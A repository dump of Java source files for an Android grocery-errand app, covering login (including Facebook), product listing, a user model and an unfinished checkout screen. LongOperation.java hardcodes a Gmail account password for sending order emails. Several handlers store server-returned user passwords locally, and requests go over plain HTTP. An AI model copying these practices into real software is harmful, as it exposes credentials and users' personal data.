printf("\n\nMi variable piolín tiene el valor de %i", piolin);
printf("\nMi variable silvestre tiene el valor de %i", silvestre);
printf("\nMi variable vacío tiene el valor de %i", vacio);
} | e04ddd8c049354dc956e72af394e45683f0495d0 | [
"Markdown",
"C"
] | 2 | Markdown | DannasCornell/ejercicios2 | d2634e1bd28db225c0fe6c2d73895c992629c1cc | eacd7d741b743f08651153b9a749e49589673177 |
refs/heads/master | <repo_name>r0b3rt23/RamoresErrands<file_sep>/app/src/main/java/com/example/ramoreserrands/adapters/LongOperation.java
package com.example.ramoreserrands.adapters;
import android.os.AsyncTask;
import android.util.Log;
public class LongOperation extends AsyncTask<String, Void, String> {
@Override
protected String doInBackground(String... params) {
try {
String email = params[0];
String display_item = params[1];
String reciept = params[2];
String name = params[3];
String total = params[4];
GMailSender sender = new GMailSender("<EMAIL>", "edgepoint123");
sender.sendMail("Order Being Processed "+reciept,
"Dear "+name+",\n\nYour order is being processed. \n\n" +
"ITEMS ORDERED :\n\n" +display_item+"\n"+
"TOTAL PRICE : ₱"+total+"\n\n"+
"This is a system-generated email. \n" +
"Please wait for a call from our personnel to confirm your order.\n"+
"Thanks for shopping!",
"<EMAIL>","<EMAIL>,"+email) ;
} catch (Exception e) {
Log.e("error", e.getMessage(), e);
return "Email Not Sent";
}
return "Email Sent";
}
@Override
protected void onPostExecute(String result) {
Log.e("LongOperation",result+"");
}
@Override
protected void onPreExecute() {
}
@Override
protected void onProgressUpdate(Void... values) {
}
}
<file_sep>/app/src/main/java/com/example/ramoreserrands/activities/Login.java
package com.example.ramoreserrands.activities;
import android.app.ProgressDialog;
import android.content.Intent;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.pm.Signature;
import android.graphics.Color;
import android.graphics.PorterDuff;
import android.support.annotation.Nullable;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Base64;
import android.util.Log;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.View;
import android.support.v7.widget.Toolbar;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.ProgressBar;
import android.widget.TextView;
import android.widget.Toast;
import com.android.volley.AuthFailureError;
import com.android.volley.DefaultRetryPolicy;
import com.android.volley.Request;
import com.android.volley.RequestQueue;
import com.android.volley.Response;
import com.android.volley.VolleyError;
import com.android.volley.toolbox.StringRequest;
import com.android.volley.toolbox.Volley;
import com.bumptech.glide.request.RequestOptions;
import com.example.ramoreserrands.R;
import com.example.ramoreserrands.adapters.DBHelper;
import com.facebook.AccessToken;
import com.facebook.AccessTokenTracker;
import com.facebook.CallbackManager;
import com.facebook.GraphRequest;
import com.facebook.GraphResponse;
import com.facebook.login.widget.LoginButton;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.text.SimpleDateFormat;
import java.util.Arrays;
import java.util.Calendar;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
public class Login extends AppCompatActivity {
private EditText email_add, password;
private Button btn_login;
private static String URL_LOGIN = "http://www.ramores.com/rema/php/login.php";
private static String URL_FBLOGIN = "http://www.ramores.com/rema/php/fblogin.php";
private static String URL_REGIST = "http://www.ramores.com/rema/php/register.php";
DBHelper rema_db;
ProgressDialog progressDialog;
Toast toast;
TextView toast_text;
ImageView toast_image;
private LoginButton fbloginButton;
private CallbackManager callbackManager;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_login);
rema_db = new DBHelper(this);
Toolbar mToolbar = findViewById(R.id.toolbar);
mToolbar.setTitle("Login");
mToolbar.setNavigationIcon(R.drawable.ic_arrow_back_24dp);
mToolbar.setNavigationOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
finish();
}
});
LayoutInflater inflater = getLayoutInflater();
View layout = inflater.inflate(R.layout.custom_toast, (ViewGroup) findViewById(R.id.custom_toast_layout_id));
toast_text = (TextView) layout.findViewById(R.id.toast_text);
toast_image = (ImageView) layout.findViewById(R.id.toast_iv);
toast_image.setColorFilter(Color.WHITE, PorterDuff.Mode.SRC_ATOP);
toast = new Toast(getApplicationContext());
toast.setDuration(Toast.LENGTH_SHORT);
toast.setGravity(Gravity.BOTTOM, 0,100);
toast.setView(layout);//setting the view of custom toast layout
TextView signupnow_tv = (TextView)findViewById(R.id.sign_up_now_id);
signupnow_tv.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent i = new Intent(Login.this, CreateAccount.class);
startActivity(i);
finish();
}
});
email_add = findViewById(R.id.email_login_id);
password = findViewById(R.id.pass_login_id);
btn_login = findViewById(R.id.signup_btn_id);
progressDialog = new ProgressDialog(this);
progressDialog.setMessage("Connecting...");
btn_login.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
String mEmail = email_add.getText().toString();
String mPass = password.getText().toString();
if (!mEmail.isEmpty() && !mPass.isEmpty()){
progressDialog.show();
Login(mEmail, mPass);
}else if(mEmail.isEmpty()){
email_add.setError("Please insert email");
}else if(mPass.isEmpty()){
password.setError("Please insert password");
}
}
});
fbloginButton = findViewById(R.id.fb_login_button);
fbloginButton.setPermissions(Arrays.asList("email","public_profile"));
callbackManager = CallbackManager.Factory.create();
try {
PackageInfo info = getPackageManager().getPackageInfo(
"your.package",
PackageManager.GET_SIGNATURES);
for (Signature signature : info.signatures) {
MessageDigest md = MessageDigest.getInstance("SHA");
md.update(signature.toByteArray());
Log.d("KeyHash:", Base64.encodeToString(md.digest(), Base64.DEFAULT));
}
} catch (PackageManager.NameNotFoundException e) {
} catch (NoSuchAlgorithmException e) {
}
}
private void Login (final String email, final String password){
// btn_login.setVisibility(View.GONE);
StringRequest stringRequest = new StringRequest(Request.Method.POST, URL_LOGIN,
new Response.Listener<String>() {
@Override
public void onResponse(String response) {
try{
JSONObject jsonObject = new JSONObject(response);
String success = jsonObject.getString("success");
if (success.equals("1")){
int user_id = jsonObject.getInt("user_id");
String mobile = jsonObject.getString("mobile");
String firstname = jsonObject.getString("firstname");
String lastname = jsonObject.getString("lastname");
String birthday = jsonObject.getString("birthday");
String gender = jsonObject.getString("gender");
String city = jsonObject.getString("city");
String barangay = jsonObject.getString("barangay");
String house_street = jsonObject.getString("house_street");
String email = jsonObject.getString("email");
String password = jsonObject.getString("password");
boolean check = rema_db.insertLoginUser(user_id,firstname,lastname,birthday,gender,city,barangay,house_street,email,mobile,password);
if (check == true){
progressDialog.dismiss();
toast_image.setImageResource(R.drawable.ic_check_24dp);
toast_text.setText("Success Login!");
toast.show();
Intent intent = new Intent(Login.this, MainActivity.class);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
startActivity(intent);
finish();
}
else {
progressDialog.dismiss();
toast_image.setImageResource(R.drawable.ic_error_24dp);
toast_text.setText("Failed to login");
toast.show();
}
}
else if (success.equals("0")){
progressDialog.dismiss();
toast_image.setImageResource(R.drawable.ic_error_24dp);
toast_text.setText("Invalid username or password!");
toast.show();
}
}catch (JSONException e){
e.printStackTrace();
btn_login.setVisibility(View.VISIBLE);
progressDialog.dismiss();
toast_image.setImageResource(R.drawable.ic_error_24dp);
toast_text.setText("Invalid username or password!");
toast.show();
}
}
},
new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
btn_login.setVisibility(View.VISIBLE);
progressDialog.dismiss();
toast_image.setImageResource(R.drawable.ic_error_24dp);
toast_text.setText("Invalid username or password!");
toast.show();
}
})
{
@Override
protected Map<String, String> getParams() throws AuthFailureError {
Map<String, String> params = new HashMap<>();
params.put("email", email);
params.put("password", <PASSWORD>);
return params;
}
};
stringRequest.setRetryPolicy(new DefaultRetryPolicy(
50000,
DefaultRetryPolicy.DEFAULT_MAX_RETRIES,
DefaultRetryPolicy.DEFAULT_BACKOFF_MULT));
RequestQueue requestQueue = Volley.newRequestQueue(this);
requestQueue.add(stringRequest);
}
private void FBLogin (final String email, final String first_name, final String image_url){
// btn_login.setVisibility(View.GONE);
StringRequest stringRequest = new StringRequest(Request.Method.POST, URL_FBLOGIN,
new Response.Listener<String>() {
@Override
public void onResponse(String response) {
// Toast.makeText(Login.this,response, Toast.LENGTH_SHORT).show();
try{
JSONObject jsonObject = new JSONObject(response);
String success = jsonObject.getString("success");
if (success.equals("1")){
int user_id = jsonObject.getInt("user_id");
String mobile = jsonObject.getString("mobile");
String firstname = jsonObject.getString("firstname");
String lastname = jsonObject.getString("lastname");
String birthday = jsonObject.getString("birthday");
String gender = jsonObject.getString("gender");
String city = jsonObject.getString("city");
String barangay = jsonObject.getString("barangay");
String house_street = jsonObject.getString("house_street");
String email = jsonObject.getString("email");
String password = jsonObject.getString("password");
boolean check = rema_db.FBinsertLoginUser(user_id,firstname,lastname,birthday,gender,city,barangay,house_street,email,mobile,password, image_url);
if (check == true){
progressDialog.dismiss();
toast_image.setImageResource(R.drawable.ic_check_24dp);
toast_text.setText("Success Login!");
toast.show();
Intent intent = new Intent(Login.this, MainActivity.class);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
startActivity(intent);
finish();
}
else {
progressDialog.dismiss();
toast_image.setImageResource(R.drawable.ic_error_24dp);
toast_text.setText("Failed to login");
toast.show();
}
}
else if (success.equals("0")){
progressDialog.dismiss();
toast_image.setImageResource(R.drawable.ic_error_24dp);
toast_text.setText("Invalid username or password!");
toast.show();
}
}catch (JSONException e){
e.printStackTrace();
btn_login.setVisibility(View.VISIBLE);
progressDialog.dismiss();
toast_image.setImageResource(R.drawable.ic_error_24dp);
toast_text.setText("No Internet Connection!");
toast.show();
}
}
},
new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
btn_login.setVisibility(View.VISIBLE);
progressDialog.dismiss();
toast_image.setImageResource(R.drawable.ic_error_24dp);
toast_text.setText("No Internet Connection!");
toast.show();
}
})
{
@Override
protected Map<String, String> getParams() throws AuthFailureError {
Map<String, String> params = new HashMap<>();
params.put("email", email);
params.put("firstname", first_name);
return params;
}
};
stringRequest.setRetryPolicy(new DefaultRetryPolicy(
50000,
DefaultRetryPolicy.DEFAULT_MAX_RETRIES,
DefaultRetryPolicy.DEFAULT_BACKOFF_MULT));
RequestQueue requestQueue = Volley.newRequestQueue(this);
requestQueue.add(stringRequest);
}
public void onCreateAccount(final String first_name, final String last_name, final String email, final String image_url, final String created_at){
StringRequest stringRequest = new StringRequest(Request.Method.POST, URL_REGIST,
new Response.Listener<String>() {
@Override
public void onResponse(String response) {
try{
JSONObject jsonObject = new JSONObject(response);
String success = jsonObject.getString("success");
if (success.equals("1")){
FBLogin(email, first_name, image_url);
}else if(success.equals("2")){
FBLogin(email, first_name, image_url);
}
} catch (JSONException e) {
e.printStackTrace();
toast_image.setImageResource(R.drawable.ic_error_24dp);
toast_text.setText("Failed to Register! 1");
toast.show();
fbloginButton.setVisibility(View.VISIBLE);
}
}
},
new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
toast_image.setImageResource(R.drawable.ic_error_24dp);
toast_text.setText("Failed to Register! 2");
toast.show();
fbloginButton.setVisibility(View.VISIBLE);
}
})
{
@Override
protected Map<String, String> getParams() throws AuthFailureError {
Map<String, String> params = new HashMap<>();
params.put("first_name", first_name);
params.put("last_name", last_name);
params.put("email_add", email);
params.put("created_at",created_at);
return params;
}
};
stringRequest.setRetryPolicy(new DefaultRetryPolicy(
50000,
DefaultRetryPolicy.DEFAULT_MAX_RETRIES,
DefaultRetryPolicy.DEFAULT_BACKOFF_MULT));
RequestQueue requestQueue = Volley.newRequestQueue(this);
requestQueue.add(stringRequest);
}
public void onStart() {
super.onStart();
tokenTracker.startTracking();
AccessToken accessToken = AccessToken.getCurrentAccessToken();
if (accessToken != null) {
loadUserProfile(accessToken);
}
}
public void onDestroy() {
super.onDestroy();
// We stop the tracking before destroying the activity
tokenTracker.stopTracking();
}
@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
callbackManager.onActivityResult(requestCode,resultCode,data);
super.onActivityResult(requestCode, resultCode, data);
}
AccessTokenTracker tokenTracker = new AccessTokenTracker() {
@Override
protected void onCurrentAccessTokenChanged(AccessToken oldAccessToken, AccessToken currentAccessToken)
{
if (currentAccessToken != null) {
// AccessToken is not null implies user is logged in and hence we sen the GraphRequest
loadUserProfile(currentAccessToken);
}else{
Toast.makeText(Login.this,"User Logged out",Toast.LENGTH_LONG).show();
}
}
};
private void loadUserProfile(AccessToken newAccessToken)
{
GraphRequest request = GraphRequest.newMeRequest(newAccessToken, new GraphRequest.GraphJSONObjectCallback() {
@Override
public void onCompleted(JSONObject object, GraphResponse response)
{
try {
String first_name = object.getString("first_name");
String last_name = object.getString("last_name");
String email = object.getString("email");
String id = object.getString("id");
String image_url = "https://graph.facebook.com/"+id+ "/picture?type=normal";
Date c_created_at = Calendar.getInstance().getTime();
SimpleDateFormat df_created_at = new SimpleDateFormat("yyyy/MM/dd hh:mm:ss");
String created_at = df_created_at.format(c_created_at);
RequestOptions requestOptions = new RequestOptions();
requestOptions.dontAnimate();
onCreateAccount(first_name, last_name, email, image_url,created_at);
} catch (JSONException e) {
e.printStackTrace();
}
}
});
Bundle parameters = new Bundle();
parameters.putString("fields","first_name,last_name,email,id");
request.setParameters(parameters);
request.executeAsync();
}
}
<file_sep>/app/src/main/java/com/example/ramoreserrands/fragments/AllProducts.java
package com.example.ramoreserrands.fragments;
import android.app.ProgressDialog;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.graphics.Color;
import android.graphics.PorterDuff;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.os.Bundle;
import android.os.Handler;
import android.support.design.widget.TabLayout;
import android.support.v4.app.Fragment;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.GridLayoutManager;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.TextView;
import android.widget.Toast;
import com.android.volley.AuthFailureError;
import com.android.volley.DefaultRetryPolicy;
import com.android.volley.Request;
import com.android.volley.RequestQueue;
import com.android.volley.Response;
import com.android.volley.VolleyError;
import com.android.volley.toolbox.JsonArrayRequest;
import com.android.volley.toolbox.JsonObjectRequest;
import com.android.volley.toolbox.StringRequest;
import com.android.volley.toolbox.Volley;
import com.example.ramoreserrands.R;
import com.example.ramoreserrands.activities.Favorites;
import com.example.ramoreserrands.activities.ItemProduct;
import com.example.ramoreserrands.activities.Search;
import com.example.ramoreserrands.adapters.RecyclerSearchViewAdapter;
import com.example.ramoreserrands.adapters.RecyclerViewAdapter;
import com.example.ramoreserrands.model.Product;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
* A simple {@link Fragment} subclass.
*/
public class AllProducts extends Fragment implements RecyclerSearchViewAdapter.OnItemCLickListener{
private String URL_JSON = "http://www.ramores.com/rema/php/get_all_products.php";
private JsonArrayRequest request ;
private RequestQueue requestQueue ;
private List<Product> list_product = new ArrayList<>();
private RecyclerView all_product_rv ;
private RecyclerSearchViewAdapter adapter;
private BroadcastReceiver broadcastReceiver;
ProgressDialog progressDialog;
Toast toast;
TextView toast_text;
ImageView toast_image,no_connection;
public AllProducts() {
// Required empty public constructor
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
// Inflate the layout for this fragment
View rootView = inflater.inflate(R.layout.fragment_all_products, container, false);
list_product = new ArrayList<>();
all_product_rv = rootView.findViewById(R.id.all_product_recycler_id);
LayoutInflater layoutinflater = getLayoutInflater();
View layout = layoutinflater.inflate(R.layout.custom_toast, (ViewGroup) rootView.findViewById(R.id.custom_toast_layout_id));
toast_text = (TextView) layout.findViewById(R.id.toast_text);
toast_image = (ImageView) layout.findViewById(R.id.toast_iv);
toast_image.setColorFilter(Color.WHITE, PorterDuff.Mode.SRC_ATOP);
toast = new Toast(getActivity());
toast.setDuration(Toast.LENGTH_SHORT);
toast.setGravity(Gravity.BOTTOM, 0,100);
toast.setView(layout);//setting the view of custom toast layout
progressDialog = new ProgressDialog(getActivity());
progressDialog.setMessage("Loading Products...");
progressDialog.show();
jsonrequest();
return rootView;
}
private void jsonrequest (){
StringRequest stringRequest = new StringRequest(Request.Method.GET, URL_JSON,
new Response.Listener<String>() {
@Override
public void onResponse(String response) {
try{
JSONArray array = new JSONArray(response);
for (int i = 0; i < array.length(); i++) {
JSONObject jsonObject = array.getJSONObject(i);
if (jsonObject.getString("product_available").equals("available")) {
Product product = new Product();
product.setProduct_id(jsonObject.getString("product_id"));
product.setProduct_name(jsonObject.getString("product_name"));
product.setProduct_desc(jsonObject.getString("product_desc"));
Double price = jsonObject.getDouble("product_price");
Double percentage = jsonObject.getDouble("product_percentage");
Double price_percent = price * percentage;
Double product_price = price_percent + price;
product.setProduct_price(product_price.toString());
product.setProduct_img(jsonObject.getString("product_img") + jsonObject.getString("product_name") + ".png");
list_product.add(product);
}
}
setuprecyclerview(list_product);
}catch (JSONException e){
e.printStackTrace();
Toast.makeText(getActivity(),"Error", Toast.LENGTH_SHORT).show();
}
}
},
new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
Toast.makeText(getActivity(),"Error", Toast.LENGTH_SHORT).show();
}
});
stringRequest.setRetryPolicy(new DefaultRetryPolicy(
50000,
DefaultRetryPolicy.DEFAULT_MAX_RETRIES,
DefaultRetryPolicy.DEFAULT_BACKOFF_MULT));
RequestQueue requestQueue = Volley.newRequestQueue(getActivity());
requestQueue.add(stringRequest);
}
private void setuprecyclerview(List<Product> list_product) {
all_product_rv.setHasFixedSize(true);
adapter = new RecyclerSearchViewAdapter(getContext(),list_product, "product");
all_product_rv.setLayoutManager(new GridLayoutManager(getContext(), 2));
all_product_rv.setAdapter(adapter);
adapter.setOnItemClickListener(AllProducts.this);
progressDialog.dismiss();
}
@Override
public void onItemClick(int position) {
Intent detailIntent = new Intent(getActivity(), ItemProduct.class);
Product clickedItem = list_product.get(position);
detailIntent.putExtra("product_id", clickedItem.getProduct_id());
detailIntent.putExtra("product_name", clickedItem.getProduct_name());
detailIntent.putExtra("product_desc", clickedItem.getProduct_desc());
detailIntent.putExtra("product_price", clickedItem.getProduct_price());
detailIntent.putExtra("product_img", clickedItem.getProduct_img());
detailIntent.putExtra("quantity", String.valueOf(1));
startActivity(detailIntent);
}
}
<file_sep>/app/src/main/java/com/example/ramoreserrands/adapters/RecyclerViewAdapter.java
package com.example.ramoreserrands.adapters;
import android.content.Context;
import android.support.annotation.NonNull;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.TextView;
import com.bumptech.glide.Glide;
import com.bumptech.glide.load.engine.DiskCacheStrategy;
import com.bumptech.glide.request.RequestOptions;
import com.example.ramoreserrands.R;
import com.example.ramoreserrands.model.Product;
import java.text.DecimalFormat;
import java.util.List;
public class RecyclerViewAdapter extends RecyclerView.Adapter<RecyclerViewAdapter.MyViewHolder>{
private Context mContext;
private List<Product> mData;
private String view_item;
private OnItemClickListener mListener;
RequestOptions options;
public interface OnItemClickListener {
void onItemClick(int position);
void onDeleteClick(int position);
}
public void setOnItemClickListener(OnItemClickListener listener) {
mListener = listener;
}
public static class MyViewHolder extends RecyclerView.ViewHolder {
TextView tv_product_name,tv_subcategory_name;
TextView tv_subitem,tv_quantity,tv_cart_price,tv_product_price;
ImageView img_product,img_subcategory;
ImageView mDeleteImage;
public MyViewHolder(@NonNull View itemView, final OnItemClickListener listener) {
super(itemView);
tv_product_name = itemView.findViewById(R.id.product_name_id);
img_product = itemView.findViewById(R.id.product_img_id);
tv_product_price = itemView.findViewById(R.id.product_price_id);
tv_subcategory_name = itemView.findViewById(R.id.subcategory_name_id);
img_subcategory = itemView.findViewById(R.id.subcategory_img_id);
tv_quantity = itemView.findViewById(R.id.quantity_cart);
tv_subitem = itemView.findViewById(R.id.subitem_id);
tv_cart_price = itemView.findViewById(R.id.price_cart);
mDeleteImage = itemView.findViewById(R.id.del_item);
itemView.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (listener != null) {
int position = getAdapterPosition();
if (position != RecyclerView.NO_POSITION) {
listener.onItemClick(position);
}
}
}
});
mDeleteImage.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (listener != null) {
int position = getAdapterPosition();
if (position != RecyclerView.NO_POSITION) {
listener.onDeleteClick(position);
}
}
}
});
}
}
public RecyclerViewAdapter(Context mContext, List<Product> mData, String view_item) {
this.mContext = mContext;
this.mData = mData;
this.view_item = view_item;
// Request option for Glide
options = new RequestOptions()
.diskCacheStrategy(DiskCacheStrategy.ALL)
.fitCenter()
.placeholder(R.drawable.loading_shape)
.error(R.drawable.loading_shape);
}
@NonNull
@Override
public MyViewHolder onCreateViewHolder(@NonNull ViewGroup viewGroup, int i) {
View view;
LayoutInflater inflater = LayoutInflater.from(mContext);
if (view_item.equals("fav")) {
view = inflater.inflate(R.layout.favorite_item, viewGroup, false);
}else{
view = inflater.inflate(R.layout.checkout_item_2, viewGroup, false);
}
return new MyViewHolder(view, mListener);
}
@Override
public void onBindViewHolder(@NonNull MyViewHolder myViewHolder, final int position) {
String price = formatDecimal(mData.get(position).getProduct_price());
myViewHolder.tv_product_name.setText(mData.get(position).getProduct_name());
Glide.with(mContext).load(mData.get(position).getProduct_img()).apply(options).into(myViewHolder.img_product);
if (view_item.equals("fav")) {
myViewHolder.tv_product_price.setText("₱ " + price);
}else {
String price_total = formatDecimal(mData.get(position).getSubitem_total());
myViewHolder.tv_subitem.setText("₱ " + price_total);
myViewHolder.tv_cart_price.setText("₱ " + price);
myViewHolder.tv_quantity.setText("x "+mData.get(position).getQuantity());
}
}
@Override
public int getItemCount() {
return mData.size();
}
public static String formatDecimal(String value) {
DecimalFormat df = new DecimalFormat("#,###,##0.00");
return df.format(Double.valueOf(value));
}
}<file_sep>/app/src/main/java/com/example/ramoreserrands/model/UserInfo.java
package com.example.ramoreserrands.model;
public class UserInfo {
private int user_id;
private String user_fname;
private String user_lname;
private String user_birthday;
private String user_gender;
private String user_city;
private String user_barangay;
private String user_house_street;
private String user_email;
private String user_mobile;
private String user_password;
private String user_img;
public UserInfo(){
}
public UserInfo(int user_id, String user_fname, String user_lname, String user_birthday, String user_gender, String user_city, String user_barangay, String user_house_street, String user_email, String user_mobile, String user_password, String user_img) {
this.user_id = user_id;
this.user_fname = user_fname;
this.user_lname = user_lname;
this.user_birthday = user_birthday;
this.user_gender = user_gender;
this.user_city = user_city;
this.user_barangay = user_barangay;
this.user_house_street = user_house_street;
this.user_email = user_email;
this.user_mobile = user_mobile;
this.user_password = <PASSWORD>;
this.user_img = user_img;
}
public int getUser_id() {
return user_id;
}
public String getUser_fname() {
return user_fname;
}
public String getUser_lname() {
return user_lname;
}
public String getUser_birthday() {
return user_birthday;
}
public String getUser_gender() {
return user_gender;
}
public String getUser_city() {
return user_city;
}
public String getUser_barangay() {
return user_barangay;
}
public String getUser_house_street() {
return user_house_street;
}
public String getUser_email() {
return user_email;
}
public String getUser_mobile() {
return user_mobile;
}
public String getUser_img() {
return user_img;
}
public String getUser_password() {
return user_password;
}
public void setUser_id(int user_id) {
this.user_id = user_id;
}
public void setUser_fname(String user_fname) {
this.user_fname = user_fname;
}
public void setUser_lname(String user_lname) {
this.user_lname = user_lname;
}
public void setUser_birthday(String user_birthday) {
this.user_birthday = user_birthday;
}
public void setUser_gender(String user_gender) {
this.user_gender = user_gender;
}
public void setUser_city(String user_city) {
this.user_city = user_city;
}
public void setUser_barangay(String user_barangay) {
this.user_barangay = user_barangay;
}
public void setUser_house_street(String user_house_street) {
this.user_house_street = user_house_street;
}
public void setUser_email(String user_email) {
this.user_email = user_email;
}
public void setUser_mobile(String user_mobile) {
this.user_mobile = user_mobile;
}
public void setUser_password(String user_password) {
this.user_password = <PASSWORD>;
}
public void setUser_img(String user_img) {
this.user_img = user_img;
}
}
<file_sep>/app/src/main/java/com/example/ramoreserrands/activities/Checkout.java
package com.example.ramoreserrands.activities;
import android.app.ProgressDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.PorterDuff;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.support.v7.app.AlertDialog;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.support.v7.widget.Toolbar;
import android.util.Log;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.view.WindowManager;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.RadioButton;
import android.widget.RadioGroup;
import android.widget.TextView;
import android.widget.Toast;
import com.android.volley.AuthFailureError;
import com.android.volley.DefaultRetryPolicy;
import com.android.volley.Request;
import com.android.volley.RequestQueue;
import com.android.volley.Response;
import com.android.volley.VolleyError;
import com.android.volley.toolbox.StringRequest;
import com.android.volley.toolbox.Volley;
import com.example.ramoreserrands.R;
import com.example.ramoreserrands.adapters.LongOperation;
import com.example.ramoreserrands.model.Product;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.net.NetworkInterface;
import java.text.DecimalFormat;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Collections;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class Checkout extends AppCompatActivity {
public String user_id, account, email,name, house_number, barangay, city, contact,subtotal ,items, paymentbtn, payment_change ,total_price,user_mac,Item_display;
public Float total;
TextView delivery_address_tv,email_order_tv,contact_order_tv,order_date_tv,delivery_date_tv,subtotal_tv,items_tv,total_tv,exactamt_tv;
EditText change_tv,remarks_tv;
private static String URL_ORDER = "http://www.ramores.com/rema/php/placed_order.php";
private static String URL_UPDATE = "http://www.ramores.com/rema/php/update_listcart_state.php";
int deliverfee = 50;
Toast toast;
TextView toast_text;
ImageView toast_image;
ProgressDialog progressDialog;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_checkout);
getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN);
Toolbar mToolbar = findViewById(R.id.toolbar);
mToolbar.setTitle("Checkout");
mToolbar.setNavigationIcon(R.drawable.ic_arrow_back_24dp);
mToolbar.setNavigationOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
finish();
}
});
LayoutInflater inflater = getLayoutInflater();
View layout = inflater.inflate(R.layout.custom_toast, (ViewGroup) findViewById(R.id.custom_toast_layout_id));
toast_text = (TextView) layout.findViewById(R.id.toast_text);
toast_image = (ImageView) layout.findViewById(R.id.toast_iv);
toast_image.setColorFilter(Color.WHITE, PorterDuff.Mode.SRC_ATOP);
toast = new Toast(getApplicationContext());
toast.setDuration(Toast.LENGTH_SHORT);
toast.setGravity(Gravity.BOTTOM, 0,100);
toast.setView(layout);//setting the view of custom toast layout
progressDialog = new ProgressDialog(Checkout.this);
progressDialog.setMessage("Sending Order...");
Intent intent = getIntent();
user_mac = intent.getStringExtra("user_mac");
account = intent.getStringExtra("account");
email = intent.getStringExtra("email");
name = intent.getStringExtra("name");
house_number = intent.getStringExtra("housenumber");
barangay = intent.getStringExtra("barangay");
city = intent.getStringExtra("city");
contact = intent.getStringExtra("contact");
Item_display = intent.getStringExtra("Item_display");
subtotal = intent.getStringExtra("subtotal");
items = intent.getStringExtra("items");
delivery_address_tv = (TextView) findViewById(R.id.delivery_address);
delivery_address_tv.setText(house_number+" "+barangay+", "+city);
remarks_tv = (EditText) findViewById(R.id.remarks_order);
email_order_tv = (TextView) findViewById(R.id.email_order);
email_order_tv.setText(email);
contact_order_tv = (TextView) findViewById(R.id.contactnum_order);
contact_order_tv.setText(contact);
String subtotal_price = formatDecimal(subtotal);
subtotal_tv = (TextView) findViewById(R.id.subtotal_order);
subtotal_tv.setText("₱ "+subtotal_price);
items_tv = (TextView) findViewById(R.id.numofitems_order);
items_tv.setText(items);
exactamt_tv = (TextView) findViewById(R.id.deliveryfee_order);
exactamt_tv.setText("₱ "+deliverfee);
total = Float.parseFloat(subtotal) + deliverfee;
total_price = formatDecimal(total.toString());
total_tv = (TextView) findViewById(R.id.total_order);
total_tv.setText("₱ "+total_price);
exactamt_tv = (TextView) findViewById(R.id.totalamt_payment);
exactamt_tv.setText(total_price);
change_tv = (EditText) findViewById(R.id.amount_payment);
change_tv.setVisibility(View.INVISIBLE);
paymentbtn = "exact_payment";
payment_change = "No change";
Date c = Calendar.getInstance().getTime();
SimpleDateFormat df = new SimpleDateFormat("h:mm a MMM d, yyyy");
final String formattedDate = df.format(c);
Calendar cal = Calendar.getInstance();
cal.setTime(c);
cal.add(Calendar.HOUR, 1);
Date cdpo = cal.getTime();
final String currentDatePlusOne = df.format(cdpo);
order_date_tv = (TextView)findViewById(R.id.order_datetime);
order_date_tv.setText(formattedDate);
delivery_date_tv = (TextView) findViewById(R.id.delivery_datetime);
delivery_date_tv.setText(currentDatePlusOne);
Button buttonRequest = (Button) findViewById(R.id.placeorder_btn);
//adding click listener to button
buttonRequest.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (checkNetworkConnection()) {
Date c_created_at = Calendar.getInstance().getTime();
SimpleDateFormat df_created_at = new SimpleDateFormat("yyyy/MM/dd hh:mm:ss");
String created_at = df_created_at.format(c_created_at);
